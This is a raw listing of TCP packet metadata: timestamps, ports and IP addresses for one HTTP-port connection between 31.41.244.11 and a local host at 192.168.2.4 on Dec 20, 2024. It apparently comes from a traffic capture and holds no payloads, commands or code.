Dec 20, 2024 07:12:27.626374960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.626434088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.627428055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.627549887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.627615929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.628653049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.628729105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.628797054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.629092932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.629837036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.629901886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.629961967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.630059004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.630968094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.631014109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.631093025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.632087946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.632174015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.632241011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.632303953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.633371115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.633424044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.633486032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.634546995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.634603024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.634700060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.634754896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.635724068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.635873079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.635942936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.636913061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.637033939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.637088060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.638093948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.638251066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.638309002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.639290094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.639344931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.639410019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.640503883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.640556097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.640563011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.640608072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.641658068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.641773939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.641854048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.642843008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.642947912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.643009901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.644031048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.644150019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.644150972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.645248890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.645303011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.645308018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.645354033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.646411896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.646523952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.646575928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.647569895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.647689104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.647741079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.648766994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.648817062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.648895979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.649522066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.649960995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.650013924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.650091887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.650142908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.651137114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.651199102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.651252985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.652312040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.652364969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.652367115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.653506994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.653526068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.653559923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.653629065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.654714108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.654748917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.654768944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.654808044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.655914068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.655967951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.656022072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.657052994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.657107115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.657174110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.658266068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.658416033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.658477068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.659454107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.659574032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.659635067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.660615921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.660667896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.660727024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.661802053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.661910057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.661978006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.662983894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.663151026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.663209915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.664175987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.664300919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.664360046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.665345907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.665400028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.665465117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.665523052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.666547060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.666687012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.666728973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.666779995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.667725086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.667783022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.667855978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.667903900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.668920040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.668975115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.669039965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.669090033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.670084953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.670186996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.670264959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.671272993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.671394110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.671446085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.672447920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.672547102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.672570944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.673526049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.673636913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.673690081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.673760891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.673820972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.674849987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.674912930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.674977064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.676029921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.676091909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.676135063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.677232981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.677301884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.677320957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.677525997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.678384066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.678499937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.678560019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.679594994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.679735899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.679816008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.680740118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.680856943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.680922985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.681982040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.682018042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.682077885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.683157921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.683331966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.683393955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.684318066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.684427977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.684482098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.685514927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.685630083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.685689926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.686634064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.689532042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.816736937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.816875935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.816884995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.816970110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.816972971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.817024946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.817154884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.817209959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.818186045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.818298101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.818355083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.819375038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.819494963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.819571018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.820565939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.820676088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.820728064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.821742058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.821836948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.821867943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.821954012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.822945118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.823010921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.823057890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.823108912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.824101925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.824155092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.824218988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.824264050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.825285912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.825341940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.825408936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.825459003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.826469898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.826627016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.826678038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.827701092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.827753067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.827760935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.827800035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.828861952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.828916073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.828978062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.829133987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.830059052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.830262899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.830327034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.831258059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.831371069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.831423998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.832417011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.832477093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.832540989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.833528042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.833576918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.833636045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.833682060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.833791018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.834785938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.834847927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.834903955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.835969925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.836026907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.836076975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.837126017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.837182045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.837250948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.837301016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.838350058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.838403940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.838455915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.838505983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.839524984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.839582920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.839649916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.839698076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.840702057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.840812922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.840869904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.841876030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.842009068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.842062950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.843070030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.843125105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.843190908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.844285011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.844348907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.844410896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.845479965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.845530033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.845550060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.845599890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.846615076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.846668005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.846674919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.847816944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.847870111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.847930908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.849055052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.849107027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.849145889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.849195004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.850204945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.850267887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.850315094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.850368977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.851362944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.851413965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.851478100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.851536036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.852540016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.852617025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.852673054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.852725983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.853732109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.853856087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.853912115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.854912996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.855026007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.855078936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.856093884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.856146097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.856216908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.857280970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.857336998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.857402086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.857527018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.858463049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.858516932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.858571053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.858623028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.859658003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.859766006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.859818935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.860836983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.860960007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.861016035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.862023115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.862139940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.862194061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.863194942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.863245964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.863343000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.864459038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.864492893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.864495039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.864518881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.864542961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.865612030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.865735054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.865788937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.866765022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.866828918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.866894007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.866945028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.867964029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.868072987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.868124008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.869138002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.869189024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.869240046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.870371103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.870436907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.870470047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.870532990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.871507883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.871627092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.871680975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.872699976 CET	80	49801	31.41.244.11	192.168.2.4
